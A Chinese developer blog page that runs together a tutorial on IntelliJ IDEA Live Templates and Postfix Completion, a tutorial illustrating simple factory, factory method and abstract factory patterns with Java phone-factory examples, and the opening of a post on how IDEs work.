【方向盘】使用IDEA的60+个快捷键分享给你,权为了提效(Live Template&Postfix Completion篇)
本文已被https://yourbatman.cn收录;女娲Knife-Initializr工程可公开访问啦;程序员专用网盘https://wangpan.yourbatman.cn;技术专栏源代码大本营:https://github.com/yourbatman/tech-column-learning;公号后台回复“专栏列表”获取全部小而美的原创技术专栏你好,这里是Java方向盘,我是方向盘(YourBatman),坐稳扶好,开始发车。TitleLink所属专栏【方向盘】-IntelliJ IDEA源代码https://github.com/yourbatman/FXP-java-ee程序员专用网盘公益上线啦,注册送1G超小容量,帮你实践做减法https://wangpan.yourbatman.cnJava开发软件包(Mac)https://wangpan.yourbatman.cn/s/rEH0 提取码:javakit女娲工程http://152.136.106.14:8761版本约定[Mac OS 12.3],[iTerm2 3.4.15(zsh 5.8)],[IntelliJ IDEA 2021.3.3]前言本系列上篇文章介绍了IDEA里关于代码重构相关的快捷键,利用好Java强类型语言的特性,加上IDEA的重构快捷键,可以在重构代码时带来大大的便捷及“安全保障”,进而为那颗很想重构但迟迟不敢动手的心提供先决条件。敲代码过程中,总是“讨厌”经常写些重复代码,如:logger日志声明、main方法、System.out.println() 。。。本文就针对这个“痛点”,一起来学习IDEA的Live Template和Postfix Completion功能,看看能给我们带来多大的便捷。✍正文初级程序员热衷于“自动”生成代码,各式各样的代码生成工具,譬如MyBatis逆向工程、easycode插件等等。很多公司在团队内是禁止使用这类工具的,理由很简单:生成出来的垃圾代码太多。但日常编程过程中,我们确实经常会遇到需要重复写的代码片段,怎么破?这就是接下来要讨论的内容,使用IDEA的“工具”来替代这些“重复劳动”。IntelliJ IDEA快捷键本文并非直接介绍快捷键,但是Live Template和Postfix Completion都有着类似的作用,因此放在此专栏一并介绍了。✌Live Template何为Template? 顾名思义,按照预先定义好的内容、格式执行或者输出。使用模板一般有一些优势:写出来的代码风格能保持一致仅需输入几个引用字符即可获得完整的代码块逻辑,并能保证正确性不会出现CV代码,忘记改某些参数出现的编译甚至运行期问题那何为Live Template呢? 区别在于这个Live,单词直译为:现场直播的,当前所关心的。所以笔者对Live Template的理解是:具有上下文感知能力的模板,相较于普通的Template更为智能、聪明。网上其实有不少文章“吹嘘” Live Template功能强大、好用的,可谓不吝赞美之词。但是呢,笔者结合自己不短的工作经验以及学习经验,发现此功能吹嘘的人多,用的人是真的少。所以每每看到这类文章时,想问作者三句:这真的是你的使用经验分享吗?那些“强大”的功能真的在用?还是就为了吸引眼球博取流量而已呢?在这,笔者先将自己个人的观点摆在前头哈:Live Template这个功能确实很强大,支持很多方式甚至groovy脚本,但从效率的角度来讲,它的强大和灵活反倒让 通用性和实用性 变差。因此,即使笔者在刚使用IDEA时(2017年)就已经接触和使用过Live Template,但直到现在对它依旧不感冒,使用的功能点甚至越来越少。话说回来,仅是个观点而已,这和个人的使用习惯、认知是强相关的嘛。虽然我用得少,但还是在用滴,下面就简单聊聊这个功能吧。如下图所示:这是笔者当前使用的所有Live Template模板了。Tips:按快捷键commond + j可显示出当前环境下(类里or方法里)能用的所有的Live Template模板类里(6个):方法里(3个):下面是笔者IDEA的设置:由于笔者好些年不写前端、不会写Android,偶尔写写Groovy、Shell等脚本,所以从上图可以看到只打开了Java的几个模板项而已。效果总览通过录制的这张动图,能感受到Live Template的强大,感受到其效果:这里一共用到了三个模板:psvm:生成main方法fori:生成普通for循环sout:生成标准输出语句话不多说,下面通过介绍笔者自己用的模板,来简单感受一下Live Template吧。main和psvm使用方式:在类内任意地方,敲main或者psvm,然后按tab键触发。效果:快速生成/声明main方法值得注意,在早期的IDEA版本中只支持psvm这一个Live Template,从xxx版本开始(具体从哪个版本开始我记不得了)也支持main了(这对eclipse转过来的开发者是福音呀),效果完全同psvm。本人偏爱使用main,明显更见名知意些嘛。sout、serr在方法内部触发,快速“生成”标准输出和错误输出语句。sout:System.out.println(); // sout标准输出serrSystem.err.println(); // serr错误输出下面介绍的Postfix Completion也有类似功能,可联系在一起做对比,下同。soutc、serrc使用条件:方法引用/lamda表达式里。可以看到,这哥俩的触发条件还是蛮苛刻的。soutc:System.out::printlnserrc:System.err::println结束。笔者常用的就这么几个Live Template,发现没fori都没用。当然喽,笔者还自定义了几个Live Template,用于应对特殊场景。doc、docc快速生成类的java doc。做开发时,一般而言,类是要求必须写 java doc的,而对于每个方法的java doc要求会松一些,不做强制,这两个Template就是来帮我解决类上的java doc问题的。doc:/**
* 在此处添加备注信息
*
* @author YourBatman. <a href=mailto:yourbatman@aliyun.com>Send email to me</a>
* @site https://yourbatman.cn
* @date 2022/5/1 22:29
* @since 0.0.1
*/
public class Demo { ... }docc:/**
* 在此处添加备注信息
*
* @author YourBatman. <a href=mailto:公司的邮箱>Send email to me</a>
* @site 公司网址or项目地址or文件的git地址
* @date 2022/5/1 22:29
* @since 0.0.1
*/
public class Demo { ... }为什么有两个?doc是笔者写自己的时候代码用,docc是在公司做开发用。logger快速声明logger日志实例属性。logger:private final Logger logger = LoggerFactory.getLogger(this.getClass());有可能有同学会问,logger很多时候不是static的吗?就像这样:private static final Logger LOGGER = LoggerFactory.getLogger(Demo.getClass());是的,很多时候logger确实是静态的,而这个时候笔者就会用lombok的@Slf4j注解代替,而非“手敲”。唠叨一句:初学者学习时常常有个误区:偏爱使用static静态(变量、方法)。笔者的建议一般是:实例(变量、方法)优先,理由很简单,在工程领域,面向对象编程的优势远大于面向过程编程。自定义Live Template额,这个,晒一下我的一个自定义详情应该就差不多了:当然,Live Template的强大之处远远不止这样。比如它内置有上百个变量,你可以随意组合来灵活定义模板,甚至还支持自定义Groovy脚本,简直强大到没有朋友。但是,你懂的。一方面我觉得复杂点的结构代码还是手敲来得更稳妥,也能锻炼敲代码的手速不是;另一方面觉得,若非及其特殊、并且还重复出现需要重复“劳动”的场景,是完全没必要定义复杂模板的。✌Postfix Completion(后缀补全)这才是IDEA代码补全方面的一大利器,在实用性上远远优于Live Template(个人意见,非喜勿喷)。如果说Live Templates更智能,那么Postfix Completion给使用者的感觉是更佳的确定性和易用性。说明:前面文章有提到过,使用快捷键提高效率非常非常非常重要的一个前提:确定性。只有确定性方可一步到位,只有一步到位方可直接提效。顾名思义,后缀补全功能自动补全代码的触发方式为:在语句的后面输入特定的元素,键入tab键就能完成自动补全了。下面截图是笔者使用Postfix Completion的情况:Postfix Completion笔者使用得还是比较频繁的,数量上也有十几个样子。下面简单介绍几个!用于bool表达式语句上,表示非。如:if (relation == Relation.GOOD!) { ... }
键入tab触发后自动变为:
if (relation != Relation.GOOD) { ... }
boolean bool = nums.size() > 3!;
键入tab触发后自动变为:
boolean bool = nums.size() <= 3;
boolean bool = nums.contains(3)!;
键入tab触发后自动变为:
boolean bool = !nums.contains(3);var这个使用得太太太频繁了,非常好用。它能为你快速生成局部变量的前半部分(声明部分),典型应用在getXXX的时候:Country country = new Country();
country.getId().var
键入tab触发后自动变为:
Long id = country.getId();
country.getCnName().var
键入tab触发后自动变为:
String cnName = country.getCnName();
country.getEnName().var
键入tab触发后自动变为:
String enName = country.getEnName();cast、castvar强转、强转并生成变量。大都情况下,后者使用得会更多些,castvar = cast + var的结合体,将两步合为一步。Object str = "hello yourbatman";
str.castvar
键入tab触发后自动变为:
Object str = "hello yourbatman";
String s = (String) str;
Object nums = Arrays.asList(1, 2, 3);
nums.castvar
键入tab触发后自动变为:
Object nums = Arrays.asList(1, 2, 3);
List<输入状态> objects = (List<?>) nums;nums这个例子,当IDEA推断不出泛型时,光标会停在不确定的地方让你输入,使用起来非常流畅。for、fori、forr、iter这些后缀,快速生成遍历代码。下面笔者将示例几类能遍历的类型,分别看看它哥几个有啥异同。Array数组:String[] strArr = {"a", "b", "c"};
// strArr.for 增强for循环
for (String s : strArr) {
}
// strArr.fori 正序遍历
for (int i = 0; i < strArr.length; i++) {
}
// strArr.forr 倒序遍历
for (int i = strArr.length - 1; i >= 0; i--) {
}
// strArr.iter 同strArr.for增强for循环
for (String s : strArr) {
}Collection集合:Collection<String> coll = Arrays.asList( "a", "b", "c");
// coll.for 增强for循环
for (String s : coll) {
}
// coll.fori 正序遍历
for (int i = 0; i < coll.size(); i++) {
}
// coll.forr 倒序遍历
for (int i = coll.size() - 1; i >= 0; i--) {
}
// coll.iter 同strArr.for增强for循环
for (String s : coll) {
}可看到,Collection和Array的表现是一样的。最后再看看Map:Map并不能使用for直接遍历,而是使用foreach迭代。除此之外呢,map还可以先“转为Collection”后再使用for循环遍历,就像这样:Map<String,Integer> map = Collections.emptyMap();
Set<String> mapKeys = map.keySet();
Collection<Integer> maoValues = map.values();
Set<Entry<String, Integer>> mapEntries = map.entrySet();对于Map的遍历,笔者最推荐的是foreach迭代的遍历方式,使用起来最方便。当然喽,有的时候也会使用for循环方式进行遍历(先转为Collection),这时我更偏爱使用Entry方式,你呢?Tips:对于遍历,还有一种Iterator方式,你还记得如何使用它吗?new使用构造器new对象。有的同学会问这个和new Demo()写法差不多呀,确实差不多。但当你后缀补全这个功能用得多后,就会发现它真的很有用。return快速返回,也是非常的好用。result.return -> return result;除了这些,其它常用且非常好用的后缀:opt、serr、sout、throw、while等等。自定义Postfix Completion这么好用的功能,若现有的还不能满足,当然也可自定义一个。以笔者自定义的一个json后缀为例:将任意值序列化为json字符串。定义如下:因为可以将任意类型序列化为JSON串,因此这里Applicable expression types就没写任何内容。Tips:平时开发中,我司是禁止使用Fastjson的,这里只是做演示用哈有的后缀使用是有“前提”条件的,比如必须是集合类型,或者必须是字符串类型等等,这个时候就可以通过Applicable expression types来缩小范围(如下图所示,可以多选哟),以达到更好的确定性和正确性。✍总结本文介绍了IDEA的Live Template功能Postfix Completion后缀补全功能,看起来哥俩都能完全“代码生成”。但区别还是很明显的:Live Template功能强大、灵活,它并不是简单的Code Snippet,支持随意组合、定制,甚至还支持 Groovy函数配置,可以定制很复杂的模板逻辑,最终一键生成Postfix Completion通过指定后缀触发,在触发的时候它已经拥有了前提条件(上下文),所以使用和理解起来更容易,也就是我理解的更具有确定性些功能没有孰优孰劣,重点在于使用的人如何使用。尊重每个人的使用偏好,更支持极客风格的同学将某些功能用到极致甚至研究其原理。Live Template&Postfix Completion需要记忆的看似很多,但本质和快捷键一样,用着用着就成肌肉记忆了。还是补上那句话:快捷键没有任何技巧性,练就完了!下篇继续介绍Intellij IDEA的实用快捷键。那,咱们还是下次再见!推荐阅读【方向盘】使用IDEA的60+个快捷键分享给你,权为了提效(重构篇)【方向盘】使用IDEA的60+个快捷键分享给你,权为了提效(代码补全篇)【方向盘】使用IDEA的60+个快捷键分享给你,权为了提效(运行/调试篇)【方向盘】使用IDEA的60+个快捷键分享给你,权为了提效(视窗、选择篇)【方向盘】使用IDEA的60+个快捷键分享给你,权为了提效(IDEA导航篇)【方向盘】使用IDEA的60+个快捷键分享给你,权为了提效(操作系统、终端篇)【方向盘】超爱的IDEA提效神器Save Actions,卸载了【方向盘】利用IDEA代码审查能力,来保证代码质量【方向盘】是如何高效的使用IntelliJ IDEA我是方向盘(YourBatman):前25年不会写Hallo World、早已毕业的大龄程序员。高中时期《梦幻西游》骨灰玩家,网瘾失足、清考、延期毕业、房产中介、保险销售、送外卖...是我不可抹灭的黑标签2013.07 清考、毕业答辩3次未通过、延期毕业2013.08-2014.07 宁夏中介公司卖二手房1年,毕业后第1份工作️️2014.07-2015.05 荆州/武汉,泰康人寿卖保险3月、饿了么送外卖2月,还有炸鸡排、直销等第2345份工作2015.08 开始从事Java开发,闯过外包,呆过大厂!擅长抽象思维,任基础架构团队负责人2021.08 因“双减政策”失业!历经9面,终获美团外卖L8的offer♀️Java架构师、Spring开源贡献者、CSDN博客之星年度Top 10、领域建模专家、写作大赛1/2届评委高质量代码、规范践行者;DDD领域驱动深度实践;即将出版书籍《Spring奇淫巧技》序号专栏名称简介01【方向盘】-程序人生程序人生,人生程序02【方向盘】-资讯/新特性IDEA、JDK、Spring技术栈......新特性03【方向盘】-IntelliJ IDEA熟练使用IDEA就相当拥有物理外挂,助你高效编码04【方向盘】-Bean Validation熟练掌握数据校验,减少90%的垃圾代码05【方向盘】-日期时间帮你解决JDK Date、JSR 310日期/其实 的一切问题06【方向盘】-Spring类型转换Spring类型转换-框架设计的基石07【方向盘】-Spring staticstatic关键字在Spring里的应用08【方向盘】-Cors跨域关于跨域请求问题,本专栏足矣09【方向盘】-JacksonAlmost Maybe是最好的Jackson专栏10【方向盘】-Spring配置类专讲@Configuration配置类,你懂的11【方向盘】-Spring技术栈暂无所属小分类的,Spring技术栈大分类12【方向盘】-JDK暂无所属小分类的,JDK技术栈大分类13【方向盘】-ServletServlet规范、Web相关内容专题14【方向盘】-Java EE从Java EE到Jakarta EE,30年弹指一挥间15【方向盘】-工具/提效开发工具、软件工具,目标是提效16【方向盘】-Spring技术栈新特性 Spring Framework、Spring Boot、Spring Cloud、Spring其它技术17【方向盘】-基本功 每个Javaer,都需要有扎实的基本功.........99源代码库大多数专栏均配有源代码,都在这里源代码库地址:https://github.com/yourbatman/tech-column-learningCSDN主页:https://blog.csdn.net/f641385712掘金主页:https://juejin.cn/user/430664289367192博客园主页:https://www.cnblogs.com/yourbatman个人博客主页:https://yourbatman.cn个人网盘主页:https://wangpan.yourbatman.cn
从手工打造到工厂设计模式的演变历程
自定义View系列教程00–推翻自己和过往,重学自定义View 自定义View系列教程01–常用工具介绍 自定义View系列教程02–onMeasure源码详尽分析 自定义View系列教程03–onLayout源码详尽分析 自定义View系列教程04–Draw源码分析及其实践 自定义View系列教程05–示例分析 自定义View系列教程06–详解View的Touch事件处理 自定义View系列教程07–详解ViewGroup分发Touch事件 自定义View系列教程08–滑动冲突的产生及其处理
探索Android软键盘的疑难杂症 深入探讨Android异步精髓Handler 详解Android主流框架不可或缺的基石 站在源码的肩膀上全解Scroller工作机制
Android多分辨率适配框架(1)— 核心基础 Android多分辨率适配框架(2)— 原理剖析 Android多分辨率适配框架(3)— 使用指南
版权声明
本文原创作者:谷哥的小弟
作者博客地址:http://blog.csdn.net/lfdfhl
开篇语
前不久,在写工厂设计模式时,我还是期望用一个例子来阐述它的原理和应用。可是,当我写完之后才发现:单凭一个示例很难梳理出工厂模式。换句话说,就是之前的套路不好使了。嗯哼,既然原来的方式行不通,那就另辟蹊径:我们从手工打造开始讲起,一步步演变过度到现在的工厂设计模式。
我想能看到这篇博客的人,都会有一部属于自己的手机;它出现于你的裤兜,办公桌,写字台,饭桌,枕头边;当然更多的时候它就在你手掌。既然,大家对这个玩意这么熟悉,我们就用生产手机为例子来学习和了解工厂设计模式。
手工打造
我们先利用时光机回退到大概二十年前:你需要一部手机给你在远方的女朋友打电话。但是,你没有手机啊,市面上也没有卖的啊,可是相思之情难以抑制,每当傍晚都会涌上心头。于是,你开始自己造手机。
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public class HWMobile{
public HWMobile() {
System.out.println("自己动手生产一部华为手机,好累啊");
}
public void call(String number) {
System.out.println("利用华为手机拨打电话:"+number);
}
public void sendMessage(String message) {
System.out.println("利用华为手机发送短信:"+message);
}
}
嗯哼,我们自己制造了一部华为手机,虽然颜值不高,但是可以打电话,发短信了!
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public class Test {
public static void main(String[] args) {
HWMobile hwMobile=new HWMobile();
hwMobile.call("95279527");
hwMobile.sendMessage("I miss you");
}
}
二话不说,拿起手机给妹子打电话,泡妹的事业又可以继续了;但是累啊!自己动手一点一滴地生产组装一个手机,累得直吐血啊!
怎么办呢?有没有其他工厂来帮我们生产手机呢?有啊,必须有啊,比如全球最大的代工厂穷士康!
简单工厂模式(Simple Factory)
好了,既然有工厂,那我们就请工厂代劳。
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public interface Mobile {
public void call(String number);
public void sendMessage(String message);
}
//标配版手机
class HWStandardMobile implements Mobile {
public HWStandardMobile() {
System.out.println("工厂生产了一部标配版华为手机");
}
@Override
public void call(String number) {
System.out.println("利用华为手机拨打电话:"+number);
}
@Override
public void sendMessage(String message) {
System.out.println("利用华为手机发送短信:"+message);
}
}
//高配版手机
class HWProfessionalMobile implements Mobile {
public HWProfessionalMobile() {
System.out.println("工厂生产了一部高配版华为手机");
}
@Override
public void call(String number) {
System.out.println("利用华为手机拨打电话:"+number);
}
@Override
public void sendMessage(String message) {
System.out.println("利用华为手机发送短信:"+message);
}
}
穷士康说:既然要造手机,我就给你造两个,一个高配版,一个标准版,想用哪个自己挑就是了。好嘞,我们来看看工厂是怎么制造手机的:
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public class MobileFactory {
public final static String STANDARE="standard";
public final static String PROFESSIONAL="professional";
public static Mobile createMobile(String type) {
Mobile mobile = null;
switch (type) {
case STANDARE:
mobile=new HWStandardMobile();
break;
case PROFESSIONAL:
mobile=new HWProfessionalMobile();
break;
default:
break;
}
return mobile;
}
}
只要我们告诉工厂生产什么手机,它就会自动帮我们制造。而且,工厂会根据CPU的不同自动区分是建造标准版的手机还是高配版的手机。既然这么方便,那就赶紧试一把:
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public class Test {
public static void main(String[] args) {
MobileFactory.createMobile("standard");
MobileFactory.createMobile("professional");
}
}
在此,让工厂生产两部手机,一部高配,一部标配!这样是不是省事好多?爽了吧?是的,你是爽了,舒服了;可是,工厂不愿意了!为啥呢?假设哪天你不愿意用标配和高配的手机了,你想用更高级的钻石级华为手机,那么这个工厂就得进行大的改动:
switch (type) {
case STANDARE:
mobile=new HWStandardMobile();
break;
case PROFESSIONAL:
mobile=new HWProfessionalMobile();
break;
default:
break;
}
更加确切地说:这个switch语句得新加case了!为了生成新系列的手机就得对工厂进行伤筋动骨的改造,人家穷士康当然不愿意了!再从软件工程的角度来看,这也违背了开闭原则。所以,简单工厂模式并不是真正的设计模式,23种设计模式里并没有它的一席之地。
工厂方法模式(Factory Method)
虽然全球最大的代工厂穷士康不愿意为了新产品大刀阔斧地改造原来的工厂但是也不愿意订单花落他家;生意还是要做,钱还是要赚的。那怎么办?干脆建立一个工厂模型,每当有新产品的制造需求时按照这个模型新建一个工厂就行啦!
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public interface Mobile {
public void call(String number);
public void sendMessage(String message);
}
//标配版手机
class HWStandardMobile implements Mobile {
public HWStandardMobile() {
System.out.println("工厂生产了一部标配版华为手机");
}
@Override
public void call(String number) {
System.out.println("利用华为手机拨打电话:"+number);
}
@Override
public void sendMessage(String message) {
System.out.println("利用华为手机发送短信:"+message);
}
}
//高配版手机
class HWProfessionalMobile implements Mobile {
public HWProfessionalMobile() {
System.out.println("工厂生产了一部高配版华为手机");
}
@Override
public void call(String number) {
System.out.println("利用华为手机拨打电话:"+number);
}
@Override
public void sendMessage(String message) {
System.out.println("利用华为手机发送短信:"+message);
}
}
手机还是原来的两部,没有变化;但是工厂和之前不一样了,我们来瞅瞅:
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
package cn.com;
//抽象的手机工厂
public interface MobileFactory {
public abstract Mobile createMobile();
}
//生成华为标配手机的工厂
class HWStandardMobileFactory implements MobileFactory {
@Override
public Mobile createMobile() {
HWStandardMobile mobile=new HWStandardMobile();
return mobile;
}
}
//生成华为高配手机的工厂
class HWProfessionalMobileFactory implements MobileFactory {
@Override
public Mobile createMobile() {
HWProfessionalMobile mobile=new HWProfessionalMobile();
return mobile;
}
}
先创立了一个抽象工厂,然后建立一个生产工厂标配版的华为手机,再专门建立一个工厂生产高配版本的手机。如果有新的华为手机(例如比高配版还要牛气的钻石系列)的生产需求,那么再建立一个对应的工厂就行啦!
工厂方法模式小结:
1、具体产品均实现了自抽象产品接口。
比如,高配版和标准版的华为手机都implements Mobile
2、具体工厂均实现了抽象工厂接口。
比如,生产标配手机的工厂和生产高配手机的工厂都implements MobileFactory
3、当有新产品需求时,只需要新建工厂进行生产,而不必去修改原来的已经存在的工厂代码。
所以,该方式是符合开闭原则的。
好了,我们来利用工厂方法模式生产手机吧:
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public class Test {
public static void main(String[] args) {
MobileFactory mobileFactory=null;
mobileFactory=new HWStandardMobileFactory();
mobileFactory.createMobile();
mobileFactory=new HWProfessionalMobileFactory();
mobileFactory.createMobile();
}
}
嗯哼,我们只需要用与产品对应的工厂生产手机就行啦。讲到这里,咋们的工厂方法模式,是不是就可以结束了呢?貌似是可以完结了,但是那些好学的学霸就有疑问了:这种写法是不是太啰嗦了呢?我们真的需要建立这么多具体的工厂类么?
听到学霸的疑问,学渣也开始思考了:与简单工厂模式比起来,工厂方法模式虽然遵守了开闭原则,但是建立了很多具体的工厂类。这样的代码有些臃肿,不便于维护。
听到童鞋们这么说,穷士康也开始鼓噪了:就是嘛,建这么多工厂多费劲啊,花了我们这么多的本钱!
好了,既然这样的实现大家都觉得不太好;那么该怎么优化呢?请注意我们之前的小结: 具体产品均实现了自抽象产品接口;具体工厂均实现了抽象工厂接口。看来,我们可以在在工厂这方面做做文章,争取一个工厂就可以生产所有的手机。那么,该怎么优化呢?请继续往下看。
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public interface Mobile {
public void call(String number);
public void sendMessage(String message);
}
//标配版手机
class HWStandardMobile implements Mobile {
public HWStandardMobile() {
System.out.println("工厂生产了一部标配版华为手机");
}
@Override
public void call(String number) {
System.out.println("利用华为手机拨打电话:"+number);
}
@Override
public void sendMessage(String message) {
System.out.println("利用华为手机发送短信:"+message);
}
}
//高配版手机
class HWProfessionalMobile implements Mobile {
public HWProfessionalMobile() {
System.out.println("工厂生产了一部高配版华为手机");
}
@Override
public void call(String number) {
System.out.println("利用华为手机拨打电话:"+number);
}
@Override
public void sendMessage(String message) {
System.out.println("利用华为手机发送短信:"+message);
}
}
对于手机,我们不做改变;它与之前一样没有任何变化。
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
package cn.com;
//抽象的手机工厂
public interface MobileAbstractFactory {
public <T extends Mobile> T createMobile(Class<T> clazz);
}
抽象的手机工厂和以往不大一样,最大的差异就是此处使用了泛型。
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
package cn.com;
//具体的手机工厂
public class MobileConcreteFactory implements MobileAbstractFactory {
@SuppressWarnings("unchecked")
@Override
public <T extends Mobile> T createMobile(Class<T> clazz) {
Mobile mobile=null;
String className=clazz.getName();
try {
mobile=(Mobile) Class.forName(className).newInstance();
}catch(Exception e) {
e.printStackTrace();
}
return (T) mobile;
}
}
这是具体的手机工厂的核心代码。在该具体工厂中采用反射的方式生产不同的手机;从而避免建立众多的工厂。好了,来测试一下:
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public class Test {
public static void main(String[] args) {
MobileAbstractFactory mobileFactory=new MobileConcreteFactory();
mobileFactory.createMobile(HWStandardMobile.class);
mobileFactory.createMobile(HWProfessionalMobile.class);
}
}
哇哈,我们只用创建一个工厂就可以生产不同的手机!想生产说明手机直接告诉厂商手机类型就行啦!穷士康也高兴坏了,真爽,节约了一大笔资金!
抽象工厂模式(Abstract Factory)
华为手机上市一段时间之后,用户普遍反应:日常生活中的不小心导致手机经常摔坏!穷士康听到这个消息后,就开始琢磨了:给手机配备手机保护套!也就是说:为高配版的手机生产与之对应的真皮保护套;至于标配版的手机就整个塑料材质的保护套。毕竟是生意人啊,想得真细致,太精打细算了!
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public interface Mobile {
public void call(String number);
public void sendMessage(String message);
}
//标配版手机
class HWStandardMobile implements Mobile {
public HWStandardMobile() {
System.out.println("工厂生产了一部标配版华为手机");
}
@Override
public void call(String number) {
System.out.println("利用华为手机拨打电话:"+number);
}
@Override
public void sendMessage(String message) {
System.out.println("利用华为手机发送短信:"+message);
}
}
//高配版手机
class HWProfessionalMobile implements Mobile {
public HWProfessionalMobile() {
System.out.println("工厂生产了一部高配版华为手机");
}
@Override
public void call(String number) {
System.out.println("利用华为手机拨打电话:"+number);
}
@Override
public void sendMessage(String message) {
System.out.println("利用华为手机发送短信:"+message);
}
}
这是手机,与之前一模一样。
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public interface PhoneCase {
public abstract void protectMobile();
}
//用于保护标准版手机的保护套
class HWStandardPhoneCase implements PhoneCase{
public HWStandardPhoneCase() {
System.out.println("工厂生产StandardPhoneCase用于保护标准版的华为手机");
}
@Override
public void protectMobile() {
System.out.println("HWStandardPhoneCase protectMobile()");
}
}
//用于保护高配版手机的保护套
class HWProfessionalPhoneCase implements PhoneCase{
public HWProfessionalPhoneCase() {
System.out.println("工厂生产ProfessionalPhoneCase用于保护高配版的华为手机");
}
@Override
public void protectMobile() {
System.out.println("HWProfessionalPhoneCase protectMobile()");
}
}
这是为手机配备的保护套用于不同配置的华为手机。
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
package cn.com;
//抽象的手机工厂
public interface MobileAbstractFactory {
public abstract Mobile createMobile();
public abstract PhoneCase createPhoneCase();
}
抽象工厂除了制造手机,还要制造手机保护套。
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
package cn.com;
//具体的手机工厂
public class StandardMobileConcreteFactory implements MobileAbstractFactory {
@Override
public Mobile createMobile() {
Mobile mobile=new HWStandardMobile();
return mobile;
}
@Override
public PhoneCase createPhoneCase() {
PhoneCase phoneCase=new HWStandardPhoneCase();
return phoneCase;
}
}
该具体的工厂负责生产标配的手机及其保护套。
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
package cn.com;
//具体的手机工厂
public class ProfessionalMobileConcreteFactory implements MobileAbstractFactory {
@Override
public Mobile createMobile() {
Mobile mobile=new HWProfessionalMobile();
return mobile;
}
@Override
public PhoneCase createPhoneCase() {
PhoneCase phoneCase=new HWProfessionalPhoneCase();
return phoneCase;
}
}
该具体的工厂负责生产高配的手机及其保护套。
package cn.com;
/**
* 原创作者:谷哥的小弟
* 博客地址:http://blog.csdn.net/lfdfhl
*/
public class Test {
public static void main(String[] args) {
MobileAbstractFactory mobileFactory=null;
mobileFactory=new StandardMobileConcreteFactory();
mobileFactory.createMobile();
mobileFactory.createPhoneCase();
mobileFactory=new ProfessionalMobileConcreteFactory();
mobileFactory.createMobile();
mobileFactory.createPhoneCase();
}
}
嗯哼,我们来测试一下。要生产不同的手机及其与之匹配的保护套只需要建立不同的工厂就行啦;至于工厂怎么生产的细节问题就不用管了,而且工厂生产出来的手机和保护套必然是相互匹配的,不会出现错误的搭配!
到了这里,我想不少人都有疑问了:这不和工厂方法模式基本完全一样么?无非是工厂里多了一个方法而已!嗯哼,从表面来看是这样的。那么,工厂方法模式和抽象工厂模式有什么区别么?关于这一点,不少书里都提到了产品,产品树,产品族,产品等级的概念。这些类似于八股文的东西看起来还是挺头疼的,理不清,斩不断!其实,不用过分纠结概念,我们只要理解其中的道理就行了。
嗯哼,在刚才这个抽象工厂模式的示例中我有意无意地在反复强调一点:手机要与手机保护套匹配,不能乱对应。比如:高配手机搭配一个标配的手机保护套是错误的。那么,我们怎么来杜类似的错误呢?我们让客户来选择么?这个不太现实,谁也不能保证客户不会犯错!既然这样,那么我们把手机和与之对应的保护套放到同一个工厂里;并建立起几个不同的工厂。于是,我们就可以让用户选”套餐”了,它选了什么套餐,我们就启用与之对应的工厂进行生成就行。比如,华为告诉穷士康:我要造100W部高配手机,并且每个手机配一个高档的保护套。穷士康接到这个订单之后把任务交给ProfessionalMobileConcreteFactory即可。从我们的代码也可以看出来:ProfessionalMobileConcreteFactory生成出来的比如是高配手机和高配的手机保护套,绝对不会乱套!好了,说了这么多大白话,我们再来看抽象工厂模式的定义:
Provide an interface for creating families of related or dependent objects without specifying their concrete classes
这句英文的主要含义是:抽象工厂模式为创建一组相关或相互依赖的对象提供一个接口!请问:什么叫做“相关或相互依赖的对象”?不就是我们这里的手机和与之对应的手机保护套么?!嗯哼,这么说应该就清楚多了!明白这点之后,我们趁热打铁,思考一下:如果抽象工厂模式里工厂里的方法只有一个的话,那么不就又变成了工厂方法模式了么? 所以说:抽象工厂模式和工厂方法模式的区别就在于需要创建的对象的复杂程度上。而且,在简单工厂模式,工厂方法模式,抽象工厂模式中这三者中抽象工厂模式是最为抽象、最具一般性的。
小感悟
很多刚开始做开发的童鞋喜欢拿着一本厚厚的设计模式在角落里默默地啃。学习的劲头很足,态度也很端正,配得上10086个赞。在此,我也想提醒一下小伙伴们:学习态度和努力程度固然非常重要,但是我们也要注意学习方法。抛开实际应用和业务逻辑单纯地看设计模式是很难理解其精髓的。我们不妨将设计模式和自己的实际工作结合起来学习,比如做Android开发的小伙伴可结合Android源码或者非常流行的第三方库来深入地研究设计模式,在此推荐一篇《Retrofit分析-漂亮的解耦套路》供大家学习参考
参考资料
Head First设计模式
Android架构设计方法、技巧与实践
Retrofit架构分享
Java应用架构设计:模块化模式与OSGi
夯实Java基础系列20:从IDE的实现原理聊起,谈谈那些年我们用过的Java命令
本系列文章将整理到我在GitHub上的《Java面试指南》仓库,更多精彩内容请到我的仓库里查看
https://github.com/h2pl/Java-Tutorial
喜欢的话麻烦点下Star哈
文章首发于我的个人博客:
www.how2playlife.com
聊聊IDE的实现原理
